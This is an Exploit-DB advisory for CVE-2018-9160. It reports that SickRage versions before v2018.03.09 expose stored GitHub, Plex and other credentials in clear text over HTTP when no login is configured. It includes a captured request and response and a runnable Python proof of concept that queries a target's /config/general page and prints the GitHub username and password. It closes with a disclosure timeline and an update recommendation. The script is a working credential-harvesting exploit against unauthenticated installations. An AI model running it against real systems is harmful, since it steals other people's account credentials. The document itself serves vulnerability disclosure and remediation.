SickRage < v2018.03.09 - Clear-Text Credentials HTTP Response

EDB-ID:

44545




Platform:

Linux

Date:

2018-04-26


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# Exploit Title: SickRage < v2018.03.09 - Clear-Text Credentials HTTP Response
# Date: 2018-04-01
# Exploit Author: Sven Fassbender
# Vendor Homepage: https://sickrage.github.io
# Software Link: https://github.com/SickRage/SickRage
# Version: < v2018.03.09-1
# CVE : CVE-2018-9160
# Category: webapps

#1. Background information

"SickRage is an automatic Video Library Manager for TV Shows.
It watches for new episodes of your favourite shows, and when they are posted it does its magic: 
automatic torrent/nzb searching, downloading, and processing at the qualities you want." --extract from https://sickrage.github.io

#2. Vulnerability description

SickRage returns clear-text credentials for e.g. GitHub, AniDB, Kodi, Plex etc. in HTTP responses. 
Prerequisite is that the user did not set a username and password for their SickRage installation. (not enforced, default)

HTTP request:
GET /config/general/ HTTP/1.1
Host: 192.168.1.13:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.13:8081/config/backuprestore/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

	 
HTTP response:
HTTP/1.1 200 OK
Content-Length: 113397
Vary: Accept-Encoding
Server: TornadoServer/4.5.1
Etag: "e5c29fe99abcd01731bec1afec0e618195f1ae37"
Date: Fri, 02 Mar 2018 10:47:51 GMT
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html>
<html lang="nl_NL">
    <head>
		[...]
        <input type="text" name="git_username" id="git_username" value="email@example.com" class="form-control input-sm input300" autocapitalize="off" autocomplete="no" />
        [...]
        <input type="password" name="git_password" id="git_password" value="supersecretpassword" class="form-control input-sm input300" autocomplete="no" autocapitalize="off" />
		[...]
        </div>
    </body>
</html>

#3. Proof of Concept

#!/usr/bin/env python
import urllib3
import sys
import requests
from BeautifulSoup import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)

if __name__ == '__main__':
	if len(sys.argv) != 3:
		print "Usage: $ " + sys.argv[0] + " [IP_adress] [port]"
	else:
		host = sys.argv[1]
		print "https://www.shodan.io/host/{0}".format(host)
		port = sys.argv[2]
		print "*** Get GitHub User credentials from SickRage ***"
		url = "http://{0}:{1}/config/general".format(host, port)
		response = requests.get(url, timeout=5)
		parsed_html = BeautifulSoup(response.text)
		try:
			git_username = parsed_html.body.find('input', {'id': 'git_username'}).get("value")
			git_password = parsed_html.body.find('input', {'id': 'git_password'}).get("value")
			if str(git_password) != "None" and str(git_password) != "None":
				if len(git_password) >= 1 and len(git_username) >= 1:
					print str(git_username)
					print str(git_password)
		except AttributeError:
			pass


#4. Timeline

[2018-03-07] Vulnerability discovered
[2018-03-08] Vendor contacted
[2018-03-08] Vendor replied
[2018-03-09] Vulnerability fixed. (https://github.com/SickRage/SickRage/compare/v2018.02.26-2...v2018.03.09-1)

#5. Recommendation

Update the SickRage installation on v2018.03.09-1 or later. 
Protect the access to the web application with proper user credentials.